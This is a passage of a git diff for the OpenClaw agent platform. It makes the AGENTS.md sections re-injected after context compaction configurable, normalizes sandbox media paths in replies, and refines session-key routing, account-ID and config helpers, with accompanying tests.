section.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: ["Critical Rules"] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + expect(result).not.toBeNull(); + expect(result).toContain("Critical Rules"); + expect(result).toContain("My custom rules"); + // Default sections must not be included when overridden + expect(result).not.toContain("Do startup"); + expect(result).not.toContain("Default section"); + }); -Read SOUL.md and USER.md. + it("supports multiple custom section names", async () => { + const content = `## Onboarding\n\nOnboard things.\n\n## Safety\n\nSafe things.\n\n## Noise\n\nIgnore.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: ["Onboarding", "Safety"] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + expect(result).not.toBeNull(); + expect(result).toContain("Onboard things"); + expect(result).toContain("Safe things"); + expect(result).not.toContain("Ignore"); + }); -## Safety + it("returns null when postCompactionSections is explicitly set to [] (opt-out)", async () => { + const content = `## Session Startup\n\nDo startup.\n\n## Red Lines\n\nDo not break.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: [] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + // Empty array = opt-out: no post-compaction context injection + expect(result).toBeNull(); + }); -Don't exfiltrate private data. + it("returns null when custom sections are configured but none found in AGENTS.md", async () => { + const content = `## Session Startup\n\nDo startup.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: ["Nonexistent Section"] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + expect(result).toBeNull(); + }); -## Other + it("does NOT reference 'Session Startup' in prose when custom sections are configured", async () => { + // Greptile review finding: hardcoded prose mentioned "Execute your Session Startup + // sequence now" even when custom section names were configured, causing agents to + // look for a non-existent section. Prose must adapt to the configured section names. + const content = `## Boot Sequence\n\nDo custom boot things.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: ["Boot Sequence"] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + expect(result).not.toBeNull(); + // Must not reference the hardcoded default section name + expect(result).not.toContain("Session Startup"); + // Must reference the actual configured section names + expect(result).toContain("Boot Sequence"); + }); -Ignore this. -`; - fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); - const result = await readPostCompactionContext(tmpDir); - expect(result).not.toBeNull(); - expect(result).toContain("Every Session"); - expect(result).toContain("Read SOUL.md"); - expect(result).toContain("Safety"); - expect(result).toContain("Don't exfiltrate"); - expect(result).not.toContain("Other"); - }); + it("uses default 'Session Startup' prose when default sections are active", async () => { + const content = `## Session Startup\n\nDo startup.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const result = await readPostCompactionContext(tmpDir); + expect(result).not.toBeNull(); + expect(result).toContain("Execute your Session Startup sequence now"); + }); - it("prefers new section names over legacy when both exist", async () => { - const content = `# Rules + it("falls back to legacy sections when defaults are explicitly configured", async () => { + // Older AGENTS.md templates use "Every Session" / "Safety" instead of + // "Session Startup" / "Red Lines". Explicitly setting the defaults should + // still trigger the legacy fallback — same behavior as leaving the field unset. + const content = `## Every Session\n\nDo startup things.\n\n## Safety\n\nBe safe.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: ["Session Startup", "Red Lines"] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + expect(result).not.toBeNull(); + expect(result).toContain("Do startup things"); + expect(result).toContain("Be safe"); + }); -## Session Startup + it("falls back to legacy sections when default sections are configured in a different order", async () => { + const content = `## Every Session\n\nDo startup things.\n\n## Safety\n\nBe safe.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: ["Red Lines", "Session Startup"] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + expect(result).not.toBeNull(); + expect(result).toContain("Do startup things"); + expect(result).toContain("Be safe"); + expect(result).toContain("Execute your Session Startup sequence now"); + }); -New startup instructions. - -## Every Session - -Old startup instructions. - -## Red Lines - -New red lines. - -## Safety - -Old safety rules. -`; - fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); - const result = await readPostCompactionContext(tmpDir); - expect(result).not.toBeNull(); - expect(result).toContain("New startup instructions"); - expect(result).toContain("New red lines"); - expect(result).not.toContain("Old startup instructions"); - expect(result).not.toContain("Old safety rules"); + it("custom section names are matched case-insensitively", async () => { + const content = `## WORKFLOW INIT\n\nInit things.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: ["workflow init"] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + expect(result).not.toBeNull(); + expect(result).toContain("Init things"); + }); }); }); diff --git a/src/auto-reply/reply/post-compaction-context.ts b/src/auto-reply/reply/post-compaction-context.ts index 9a326b59323..316ac3c29b1 100644 --- a/src/auto-reply/reply/post-compaction-context.ts +++ b/src/auto-reply/reply/post-compaction-context.ts @@ -6,6 +6,37 @@ import type { OpenClawConfig } from "../../config/config.js"; import { openBoundaryFile } from "../../infra/boundary-file-read.js"; const MAX_CONTEXT_CHARS = 3000; +const DEFAULT_POST_COMPACTION_SECTIONS = ["Session Startup", "Red Lines"]; +const LEGACY_POST_COMPACTION_SECTIONS = ["Every Session", "Safety"]; + +// Compare configured section names as a case-insensitive set so deployments can +// pin the documented defaults in any order without changing fallback semantics. +function matchesSectionSet(sectionNames: string[], expectedSections: string[]): boolean { + if (sectionNames.length !== expectedSections.length) { + return false; + } + + const counts = new Map(); + for (const name of expectedSections) { + const normalized = name.trim().toLowerCase(); + counts.set(normalized, (counts.get(normalized) ?? 0) + 1); + } + + for (const name of sectionNames) { + const normalized = name.trim().toLowerCase(); + const count = counts.get(normalized); + if (!count) { + return false; + } + if (count === 1) { + counts.delete(normalized); + } else { + counts.set(normalized, count - 1); + } + } + + return counts.size === 0; +} function formatDateStamp(nowMs: number, timezone: string): string { const parts = new Intl.DateTimeFormat("en-US", { @@ -53,19 +84,39 @@ export async function readPostCompactionContext( } })(); - // Extract "## Session Startup" and "## Red Lines" sections. - // Also accept legacy names "Every Session" and "Safety" for backward - // compatibility with older AGENTS.md templates. - // Each section ends at the next "## " heading or end of file - let sections = extractSections(content, ["Session Startup", "Red Lines"]); - if (sections.length === 0) { - sections = extractSections(content, ["Every Session", "Safety"]); + // Extract configured sections from AGENTS.md (default: Session Startup + Red Lines). + // An explicit empty array disables post-compaction context injection entirely. + const configuredSections = cfg?.agents?.defaults?.compaction?.postCompactionSections; + const sectionNames = Array.isArray(configuredSections) + ? configuredSections + : DEFAULT_POST_COMPACTION_SECTIONS; + + if (sectionNames.length === 0) { + return null; + } + + const foundSectionNames: string[] = []; + let sections = extractSections(content, sectionNames, foundSectionNames); + + // Fall back to legacy section names ("Every Session" / "Safety") when using + // defaults and the current headings aren't found — preserves compatibility + // with older AGENTS.md templates. The fallback also applies when the user + // explicitly configures the default pair, so that pinning the documented + // defaults never silently changes behavior vs. leaving the field unset. + const isDefaultSections = + !Array.isArray(configuredSections) || + matchesSectionSet(configuredSections, DEFAULT_POST_COMPACTION_SECTIONS); + if (sections.length === 0 && isDefaultSections) { + sections = extractSections(content, LEGACY_POST_COMPACTION_SECTIONS, foundSectionNames); } if (sections.length === 0) { return null; } + // Only reference section names that were actually found and injected. + const displayNames = foundSectionNames.length > 0 ? foundSectionNames : sectionNames; + const resolvedNowMs = nowMs ?? Date.now(); const timezone = resolveUserTimezone(cfg?.agents?.defaults?.userTimezone); const dateStamp = formatDateStamp(resolvedNowMs, timezone); @@ -79,11 +130,24 @@ export async function readPostCompactionContext( ? combined.slice(0, MAX_CONTEXT_CHARS) + "\n...[truncated]..." : combined; + // When using the default section set, use precise prose that names the + // "Session Startup" sequence explicitly. When custom sections are configured, + // use generic prose — referencing a hardcoded "Session Startup" sequence + // would be misleading for deployments that use different section names. + const prose = isDefaultSections + ? "Session was just compacted. The conversation summary above is a hint, NOT a substitute for your startup sequence. " + + "Execute your Session Startup sequence now — read the required files before responding to the user." + : `Session was just compacted. The conversation summary above is a hint, NOT a substitute for your full startup sequence. ` + + `Re-read the sections injected below (${displayNames.join(", ")}) and follow your configured startup procedure before responding to the user.`; + + const sectionLabel = isDefaultSections + ? "Critical rules from AGENTS.md:" + : `Injected sections from AGENTS.md (${displayNames.join(", ")}):`; + return ( "[Post-compaction context refresh]\n\n" + - "Session was just compacted. The conversation summary above is a hint, NOT a substitute for your startup sequence. " + - "Execute your Session Startup sequence now — read the required files before responding to the user.\n\n" + - `Critical rules from AGENTS.md:\n\n${safeContent}\n\n${timeLine}` + `${prose}\n\n` + + `${sectionLabel}\n\n${safeContent}\n\n${timeLine}` ); } catch { return null; @@ -96,7 +160,11 @@ export async function readPostCompactionContext( * Skips content inside fenced code blocks. * Captures until the next heading of same or higher level, or end of string. */ -export function extractSections(content: string, sectionNames: string[]): string[] { +export function extractSections( + content: string, + sectionNames: string[], + foundNames?: string[], +): string[] { const results: string[] = []; const lines = content.split("\n"); @@ -157,6 +225,7 @@ export function extractSections(content: string, sectionNames: string[]): string if (sectionLines.length > 0) { results.push(sectionLines.join("\n").trim()); + foundNames?.push(name); } } diff --git a/src/auto-reply/reply/reply-delivery.ts b/src/auto-reply/reply/reply-delivery.ts index 78930c708f5..acf04e73a3e 100644 --- a/src/auto-reply/reply/reply-delivery.ts +++ b/src/auto-reply/reply/reply-delivery.ts @@ -65,6 +65,7 @@ export function createBlockReplyDeliveryHandler(params: { currentMessageId?: string; normalizeStreamingText: (payload: ReplyPayload) => { text?: string; skip: boolean }; applyReplyToMode: (payload: ReplyPayload) => ReplyPayload; + normalizeMediaPaths?: (payload: ReplyPayload) => Promise; typingSignals: TypingSignaler; blockStreamingEnabled: boolean; blockReplyPipeline: BlockReplyPipeline | null; @@ -101,7 +102,10 @@ export function createBlockReplyDeliveryHandler(params: { parseMode: "auto", }); - const blockPayload = params.applyReplyToMode(normalized.payload); + const mediaNormalizedPayload = params.normalizeMediaPaths + ? await params.normalizeMediaPaths(normalized.payload) + : normalized.payload; + const blockPayload = params.applyReplyToMode(mediaNormalizedPayload); const blockHasMedia = hasRenderableMedia(blockPayload); // Skip empty payloads unless they have audioAsVoice flag (need to track it). diff --git a/src/auto-reply/reply/reply-media-paths.test.ts b/src/auto-reply/reply/reply-media-paths.test.ts new file mode 100644 index 00000000000..01bb865b140 --- /dev/null +++ b/src/auto-reply/reply/reply-media-paths.test.ts @@ -0,0 +1,57 @@ +import path from "node:path"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const ensureSandboxWorkspaceForSession = vi.hoisted(() => vi.fn()); + +vi.mock("../../agents/sandbox.js", () => ({ + ensureSandboxWorkspaceForSession, +})); + +import { createReplyMediaPathNormalizer } from "./reply-media-paths.js"; + +describe("createReplyMediaPathNormalizer", () => { + beforeEach(() => { + ensureSandboxWorkspaceForSession.mockReset().mockResolvedValue(null); + }); + + it("resolves workspace-relative media against the agent workspace", async () => { + const normalize = createReplyMediaPathNormalizer({ + cfg: {}, + sessionKey: "session-key", + workspaceDir: "/tmp/agent-workspace", + }); + + const result = await normalize({ + mediaUrls: ["./out/photo.png"], + }); + + expect(result).toMatchObject({ + mediaUrl: path.join("/tmp/agent-workspace", "out", "photo.png"), + mediaUrls: [path.join("/tmp/agent-workspace", "out", "photo.png")], + }); + }); + + it("maps sandbox-relative media back to the host sandbox workspace", async () => { + ensureSandboxWorkspaceForSession.mockResolvedValue({ + workspaceDir: "/tmp/sandboxes/session-1", + containerWorkdir: "/workspace", + }); + const normalize = createReplyMediaPathNormalizer({ + cfg: {}, + sessionKey: "session-key", + workspaceDir: "/tmp/agent-workspace", + }); + + const result = await normalize({ + mediaUrls: ["./out/photo.png", "file:///workspace/screens/final.png"], + }); + + expect(result).toMatchObject({ + mediaUrl: path.join("/tmp/sandboxes/session-1", "out", "photo.png"), + mediaUrls: [ + path.join("/tmp/sandboxes/session-1", "out", "photo.png"), + path.join("/tmp/sandboxes/session-1", "screens", "final.png"), + ], + }); + }); +}); diff --git a/src/auto-reply/reply/reply-media-paths.ts b/src/auto-reply/reply/reply-media-paths.ts new file mode 100644 index 00000000000..1c09316afad --- /dev/null +++ b/src/auto-reply/reply/reply-media-paths.ts @@ -0,0 +1,105 @@ +import { resolvePathFromInput } from "../../agents/path-policy.js"; +import { assertMediaNotDataUrl, resolveSandboxedMediaSource } from "../../agents/sandbox-paths.js"; +import { ensureSandboxWorkspaceForSession } from "../../agents/sandbox.js"; +import type { OpenClawConfig } from "../../config/config.js"; +import type { ReplyPayload } from "../types.js"; + +const HTTP_URL_RE = /^https?:\/\//i; +const FILE_URL_RE = /^file:\/\//i; +const WINDOWS_DRIVE_RE = /^[a-zA-Z]:[\\/]/; +const SCHEME_RE = /^[a-zA-Z][a-zA-Z0-9+.-]*:/; +const HAS_FILE_EXT_RE = /\.\w{1,10}$/; + +function isLikelyLocalMediaSource(media: string): boolean { + return ( + FILE_URL_RE.test(media) || + media.startsWith("/") || + media.startsWith("./") || + media.startsWith("../") || + media.startsWith("~") || + WINDOWS_DRIVE_RE.test(media) || + media.startsWith("\\\\") || + (!SCHEME_RE.test(media) && + (media.includes("/") || media.includes("\\") || HAS_FILE_EXT_RE.test(media))) + ); +} + +function getPayloadMediaList(payload: ReplyPayload): string[] { + return payload.mediaUrls?.length ? payload.mediaUrls : payload.mediaUrl ? [payload.mediaUrl] : []; +} + +export function createReplyMediaPathNormalizer(params: { + cfg: OpenClawConfig; + sessionKey?: string; + workspaceDir: string; +}): (payload: ReplyPayload) => Promise { + let sandboxRootPromise: Promise | undefined; + + const resolveSandboxRoot = async (): Promise => { + if (!sandboxRootPromise) { + sandboxRootPromise = ensureSandboxWorkspaceForSession({ + config: params.cfg, + sessionKey: params.sessionKey, + workspaceDir: params.workspaceDir, + }).then((sandbox) => sandbox?.workspaceDir); + } + return await sandboxRootPromise; + }; + + const normalizeMediaSource = async (raw: string): Promise => { + const media = raw.trim(); + if (!media) { + return media; + } + assertMediaNotDataUrl(media); + if (HTTP_URL_RE.test(media)) { + return media; + } + const sandboxRoot = await resolveSandboxRoot(); + if (sandboxRoot) { + return await resolveSandboxedMediaSource({ + media, + sandboxRoot, + }); + } + if (!isLikelyLocalMediaSource(media)) { + return media; + } + if (FILE_URL_RE.test(media)) { + return media; + } + return resolvePathFromInput(media, params.workspaceDir); + }; + + return async (payload) => { + const mediaList = getPayloadMediaList(payload); + if (mediaList.length === 0) { + return payload; + } + + const normalizedMedia: string[] = []; + const seen = new Set(); + for (const media of mediaList) { + const normalized = await normalizeMediaSource(media); + if (!normalized || seen.has(normalized)) { + continue; + } + seen.add(normalized); + normalizedMedia.push(normalized); + } + + if (normalizedMedia.length === 0) { + return { + ...payload, + mediaUrl: undefined, + mediaUrls: undefined, + }; + } + + return { + ...payload, + mediaUrl: normalizedMedia[0], + mediaUrls: normalizedMedia, + }; + }; +} diff --git a/src/auto-reply/reply/session-delivery.test.ts b/src/auto-reply/reply/session-delivery.test.ts new file mode 100644 index 00000000000..2bfb4812f64 --- /dev/null +++ b/src/auto-reply/reply/session-delivery.test.ts @@ -0,0 +1,56 @@ +import { describe, expect, it } from "vitest"; +import { resolveLastChannelRaw, resolveLastToRaw } from "./session-delivery.js"; + +describe("session delivery direct-session routing overrides", () => { + it.each([ + "agent:main:direct:user-1", + "agent:main:telegram:direct:123456", + "agent:main:telegram:account-a:direct:123456", + "agent:main:telegram:dm:123456", + "agent:main:telegram:direct:123456:thread:99", + "agent:main:telegram:account-a:direct:123456:topic:ops", + ])("lets webchat override persisted routes for strict direct key %s", (sessionKey) => { + expect( + resolveLastChannelRaw({ + originatingChannelRaw: "webchat", + persistedLastChannel: "telegram", + sessionKey, + }), + ).toBe("webchat"); + expect( + resolveLastToRaw({ + originatingChannelRaw: "webchat", + originatingToRaw: "session:dashboard", + persistedLastChannel: "telegram", + persistedLastTo: "123456", + sessionKey, + }), + ).toBe("session:dashboard"); + }); + + it.each([ + "agent:main:main:direct", + "agent:main:cron:job-1:dm", + "agent:main:subagent:worker:direct:user-1", + "agent:main:telegram:channel:direct", + "agent:main:telegram:account-a:direct", + "agent:main:telegram:direct:123456:cron:job-1", + ])("keeps persisted external routes for malformed direct-like key %s", (sessionKey) => { + expect( + resolveLastChannelRaw({ + originatingChannelRaw: "webchat", + persistedLastChannel: "telegram", + sessionKey, + }), + ).toBe("telegram"); + expect( + resolveLastToRaw({ + originatingChannelRaw: "webchat", + originatingToRaw: "session:dashboard", + persistedLastChannel: "telegram", + persistedLastTo: "group:12345", + sessionKey, + }), + ).toBe("group:12345"); + }); +}); diff --git a/src/auto-reply/reply/session-delivery.ts b/src/auto-reply/reply/session-delivery.ts index 86370f544ef..ef2f0cde227 100644 --- a/src/auto-reply/reply/session-delivery.ts +++ b/src/auto-reply/reply/session-delivery.ts @@ -1,6 +1,6 @@ import type { SessionEntry } from "../../config/sessions.js"; import { buildAgentMainSessionKey } from "../../routing/session-key.js"; -import { deriveSessionChatType, parseAgentSessionKey } from "../../sessions/session-key-utils.js"; +import { parseAgentSessionKey } from "../../sessions/session-key-utils.js"; import { deliveryContextFromSession, deliveryContextKey, @@ -38,8 +38,44 @@ function isMainSessionKey(sessionKey?: string): boolean { return parsed.rest.trim().toLowerCase() === "main"; } +const DIRECT_SESSION_MARKERS = new Set(["direct", "dm"]); +const THREAD_SESSION_MARKERS = new Set(["thread", "topic"]); + +function hasStrictDirectSessionTail(parts: string[], markerIndex: number): boolean { + const peerId = parts[markerIndex + 1]?.trim(); + if (!peerId) { + return false; + } + const tail = parts.slice(markerIndex + 2); + if (tail.length === 0) { + return true; + } + return tail.length === 2 && THREAD_SESSION_MARKERS.has(tail[0] ?? "") && Boolean(tail[1]?.trim()); +} + function isDirectSessionKey(sessionKey?: string): boolean { - return deriveSessionChatType(sessionKey) === "direct"; + const raw = (sessionKey ?? "").trim().toLowerCase(); + if (!raw) { + return false; + } + const scoped = parseAgentSessionKey(raw)?.rest ?? raw; + const parts = scoped.split(":").filter(Boolean); + if (parts.length < 2) { + return false; + } + if (DIRECT_SESSION_MARKERS.has(parts[0] ?? "")) { + return hasStrictDirectSessionTail(parts, 0); + } + const channel = normalizeMessageChannel(parts[0]); + if (!channel || !isDeliverableMessageChannel(channel)) { + return false; + } + if (DIRECT_SESSION_MARKERS.has(parts[1] ?? "")) { + return hasStrictDirectSessionTail(parts, 1); + } + return Boolean(parts[1]?.trim()) && DIRECT_SESSION_MARKERS.has(parts[2] ?? "") + ? hasStrictDirectSessionTail(parts, 2) + : false; } function isExternalRoutingChannel(channel?: string): channel is string { diff --git a/src/auto-reply/reply/session.test.ts b/src/auto-reply/reply/session.test.ts index 58d6b893267..db0870b704a 100644 --- a/src/auto-reply/reply/session.test.ts +++ b/src/auto-reply/reply/session.test.ts @@ -2,6 +2,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import * as bootstrapCache from "../../agents/bootstrap-cache.js"; import { buildModelAliasIndex } from "../../agents/model-selection.js"; import type { OpenClawConfig } from "../../config/config.js"; import type { SessionEntry } from "../../config/sessions.js"; @@ -850,11 +851,18 @@ describe("initSessionState RawBody", () => { }); describe("initSessionState reset policy", () => { + let clearBootstrapSnapshotOnSessionRolloverSpy: ReturnType; + beforeEach(() => { vi.useFakeTimers(); + clearBootstrapSnapshotOnSessionRolloverSpy = vi.spyOn( + bootstrapCache, + "clearBootstrapSnapshotOnSessionRollover", + ); }); afterEach(() => { + clearBootstrapSnapshotOnSessionRolloverSpy.mockRestore(); vi.useRealTimers(); }); @@ -881,6 +889,10 @@ describe("initSessionState reset policy", () => { expect(result.isNewSession).toBe(true); expect(result.sessionId).not.toBe(existingSessionId); + expect(clearBootstrapSnapshotOnSessionRolloverSpy).toHaveBeenCalledWith({ + sessionKey, + previousSessionId: existingSessionId, + }); }); it("treats sessions as stale before the daily reset when updated before yesterday's boundary", async () => { @@ -1057,6 +1069,10 @@ describe("initSessionState reset policy", () => { expect(result.isNewSession).toBe(false); expect(result.sessionId).toBe(existingSessionId); + expect(clearBootstrapSnapshotOnSessionRolloverSpy).toHaveBeenCalledWith({ + sessionKey, + previousSessionId: undefined, + }); }); }); diff --git a/src/auto-reply/reply/session.ts b/src/auto-reply/reply/session.ts index a0e730334e2..6db6b1708cb 100644 --- a/src/auto-reply/reply/session.ts +++ b/src/auto-reply/reply/session.ts @@ -5,6 +5,7 @@ import { parseTelegramChatIdFromTarget, } from "../../acp/conversation-id.js"; import { resolveSessionAgentId } from "../../agents/agent-scope.js"; +import { clearBootstrapSnapshotOnSessionRollover } from "../../agents/bootstrap-cache.js"; import { normalizeChatType } from "../../channels/chat-type.js"; import type { OpenClawConfig } from "../../config/config.js"; import { @@ -358,6 +359,10 @@ export async function initSessionState(params: { // and for scheduled/daily resets where the session has become stale (!freshEntry). // Without this, daily-reset transcripts are left as orphaned files on disk (#35481). const previousSessionEntry = (resetTriggered || !freshEntry) && entry ? { ...entry } : undefined; + clearBootstrapSnapshotOnSessionRollover({ + sessionKey, + previousSessionId: previousSessionEntry?.sessionId, + }); if (!isNewSession && freshEntry) { sessionId = entry.sessionId; diff --git a/src/auto-reply/test-helpers/command-auth-registry-fixture.ts b/src/auto-reply/test-helpers/command-auth-registry-fixture.ts new file mode 100644 index 00000000000..31d24d9763c --- /dev/null +++ b/src/auto-reply/test-helpers/command-auth-registry-fixture.ts @@ -0,0 +1,22 @@ +import { afterEach, beforeEach } from "vitest"; +import { setActivePluginRegistry } from "../../plugins/runtime.js"; +import { createOutboundTestPlugin, createTestRegistry } from "../../test-utils/channel-plugins.js"; + +export const createDiscordRegistry = () => + createTestRegistry([ + { + pluginId: "discord", + plugin: createOutboundTestPlugin({ id: "discord", outbound: { deliveryMode: "direct" } }), + source: "test", + }, + ]); + +export function installDiscordRegistryHooks() { + beforeEach(() => { + setActivePluginRegistry(createDiscordRegistry()); + }); + + afterEach(() => { + setActivePluginRegistry(createDiscordRegistry()); + }); +} diff --git a/src/browser/bridge-server.auth.test.ts b/src/browser/bridge-server.auth.test.ts index 1f77175065e..cc8018c30ec 100644 --- a/src/browser/bridge-server.auth.test.ts +++ b/src/browser/bridge-server.auth.test.ts @@ -90,7 +90,7 @@ describe("startBrowserBridgeServer auth", () => { if (token !== "valid-token") { return null; } - return { noVncPort: 45678, password: "Abc123xy" }; + return { noVncPort: 45678, password: "Abc123xy" }; // pragma: allowlist secret }, }); servers.push({ stop: () => stopBrowserBridgeServer(bridge.server) }); diff --git a/src/channels/account-snapshot-fields.test.ts b/src/channels/account-snapshot-fields.test.ts index 070008beab0..6ccd03ccc21 100644 --- a/src/channels/account-snapshot-fields.test.ts +++ b/src/channels/account-snapshot-fields.test.ts @@ -7,8 +7,8 @@ describe("projectSafeChannelAccountSnapshotFields", () => { name: "Primary", tokenSource: "config", tokenStatus: "configured_unavailable", - signingSecretSource: "config", - signingSecretStatus: "configured_unavailable", + signingSecretSource: "config", // pragma: allowlist secret + signingSecretStatus: "configured_unavailable", // pragma: allowlist secret webhookUrl: "https://example.com/webhook", webhookPath: "/webhook", audienceType: "project-number", @@ -20,8 +20,8 @@ describe("projectSafeChannelAccountSnapshotFields", () => { name: "Primary", tokenSource: "config", tokenStatus: "configured_unavailable", - signingSecretSource: "config", - signingSecretStatus: "configured_unavailable", + signingSecretSource: "config", // pragma: allowlist secret + signingSecretStatus: "configured_unavailable", // pragma: allowlist secret }); }); }); diff --git a/src/channels/dock.ts b/src/channels/dock.ts index 3cabb919f51..6f359fd96f0 100644 --- a/src/channels/dock.ts +++ b/src/channels/dock.ts @@ -26,6 +26,8 @@ import { resolveGoogleChatGroupToolPolicy, resolveIMessageGroupRequireMention, resolveIMessageGroupToolPolicy, + resolveLineGroupRequireMention, + resolveLineGroupToolPolicy, resolveSlackGroupRequireMention, resolveSlackGroupToolPolicy, resolveTelegramGroupRequireMention, @@ -547,6 +549,18 @@ const DOCKS: Record = { buildIMessageThreadToolContext({ context, hasRepliedRef }), }, }, + line: { + id: "line", + capabilities: { + chatTypes: ["direct", "group"], + media: true, + }, + outbound: { textChunkLimit: 5000 }, + groups: { + resolveRequireMention: resolveLineGroupRequireMention, + resolveToolPolicy: resolveLineGroupToolPolicy, + }, + }, }; function buildDockFromPlugin(plugin: ChannelPlugin): ChannelDock { diff --git a/src/channels/plugins/account-helpers.test.ts b/src/channels/plugins/account-helpers.test.ts index eeddae81e17..9a7a67cf652 100644 --- a/src/channels/plugins/account-helpers.test.ts +++ b/src/channels/plugins/account-helpers.test.ts @@ -1,5 +1,6 @@ import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; +import { normalizeAccountId } from "../../routing/session-key.js"; import { createAccountListHelpers } from "./account-helpers.js"; const { listConfiguredAccountIds, listAccountIds, resolveDefaultAccountId } = @@ -52,6 +53,22 @@ describe("createAccountListHelpers", () => { }); }); + describe("with normalizeAccountId option", () => { + const normalized = createAccountListHelpers("testchannel", { normalizeAccountId }); + + it("normalizes and deduplicates configured account ids", () => { + expect( + normalized.listConfiguredAccountIds( + cfg({ + "Router D": {}, + "router-d": {}, + "Personal A": {}, + }), + ), + ).toEqual(["router-d", "personal-a"]); + }); + }); + describe("listAccountIds", () => { it('returns ["default"] for empty config', () => { expect(listAccountIds({} as OpenClawConfig)).toEqual(["default"]); diff --git a/src/channels/plugins/account-helpers.ts b/src/channels/plugins/account-helpers.ts index 1a86648ab5e..7f72b5e3c55 100644 --- a/src/channels/plugins/account-helpers.ts +++ b/src/channels/plugins/account-helpers.ts @@ -5,7 +5,10 @@ import { normalizeOptionalAccountId, } from "../../routing/session-key.js"; -export function createAccountListHelpers(channelKey: string) { +export function createAccountListHelpers( + channelKey: string, + options?: { normalizeAccountId?: (id: string) => string }, +) { function resolveConfiguredDefaultAccountId(cfg: OpenClawConfig): string | undefined { const channel = cfg.channels?.[channelKey] as Record | undefined; const preferred = normalizeOptionalAccountId( @@ -27,7 +30,12 @@ export function createAccountListHelpers(channelKey: string) { if (!accounts || typeof accounts !== "object") { return []; } - return Object.keys(accounts as Record).filter(Boolean); + const ids = Object.keys(accounts as Record).filter(Boolean); + const normalizeConfiguredAccountId = options?.normalizeAccountId; + if (!normalizeConfiguredAccountId) { + return ids; + } + return [...new Set(ids.map((id) => normalizeConfiguredAccountId(id)).filter(Boolean))]; } function listAccountIds(cfg: OpenClawConfig): string[] { diff --git a/src/channels/plugins/config-helpers.test.ts b/src/channels/plugins/config-helpers.test.ts new file mode 100644 index 00000000000..2f29b3f8ef9 --- /dev/null +++ b/src/channels/plugins/config-helpers.test.ts @@ -0,0 +1,110 @@ +import { describe, expect, it } from "vitest"; +import { clearAccountEntryFields } from "./config-helpers.js"; + +describe("clearAccountEntryFields", () => { + it("clears configured values and removes empty account entries", () => { + const result = clearAccountEntryFields({ + accounts: { + default: { + botToken: "abc123", + }, + }, + accountId: "default", + fields: ["botToken"], + }); + + expect(result).toEqual({ + nextAccounts: undefined, + changed: true, + cleared: true, + }); + }); + + it("treats empty string values as not configured by default", () => { + const result = clearAccountEntryFields({ + accounts: { + default: { + botToken: " ", + }, + }, + accountId: "default", + fields: ["botToken"], + }); + + expect(result).toEqual({ + nextAccounts: undefined, + changed: true, + cleared: false, + }); + }); + + it("can mark cleared when fields are present even if values are empty", () => { + const result = clearAccountEntryFields({ + accounts: { + default: { + tokenFile: "", + }, + }, + accountId: "default", + fields: ["tokenFile"], + markClearedOnFieldPresence: true, + }); + + expect(result).toEqual({ + nextAccounts: undefined, + changed: true, + cleared: true, + }); + }); + + it("keeps other account fields intact", () => { + const result = clearAccountEntryFields({ + accounts: { + default: { + botToken: "abc123", + name: "Primary", + }, + backup: { + botToken: "keep", + }, + }, + accountId: "default", + fields: ["botToken"], + }); + + expect(result).toEqual({ + nextAccounts: { + default: { + name: "Primary", + }, + backup: { + botToken: "keep", + }, + }, + changed: true, + cleared: true, + }); + }); + + it("returns unchanged when account entry is missing", () => { + const result = clearAccountEntryFields({ + accounts: { + default: { + botToken: "abc123", + }, + }, + accountId: "other", + fields: ["botToken"], + }); + + expect(result).toEqual({ + nextAccounts: { + default: { + botToken: "abc123", + }, + }, + changed: false, + cleared: false, + }); + }); +}); diff --git a/src/channels/plugins/config-helpers.ts b/src/channels/plugins/config-helpers.ts index ebf6f18a510..e37ea289fa8 100644 --- a/src/channels/plugins/config-helpers.ts +++ b/src/channels/plugins/config-helpers.ts @@ -6,6 +6,13 @@ type ChannelSection = { enabled?: boolean; }; +function isConfiguredSecretValue(value: unknown): boolean { + if (typeof value === "string") { + return value.trim().length > 0; + } + return Boolean(value); +} + export function setAccountEnabledInConfigSection(params: { cfg: OpenClawConfig; sectionKey: string; @@ -111,3 +118,58 @@ export function deleteAccountFromConfigSection(params: { } return nextCfg; } + +export function clearAccountEntryFields(params: { + accounts?: Record; + accountId: string; + fields: string[]; + isValueSet?: (value: unknown) => boolean; + markClearedOnFieldPresence?: boolean; +}): { + nextAccounts?: Record; + changed: boolean; + cleared: boolean; +} { + const accountKey = params.accountId || 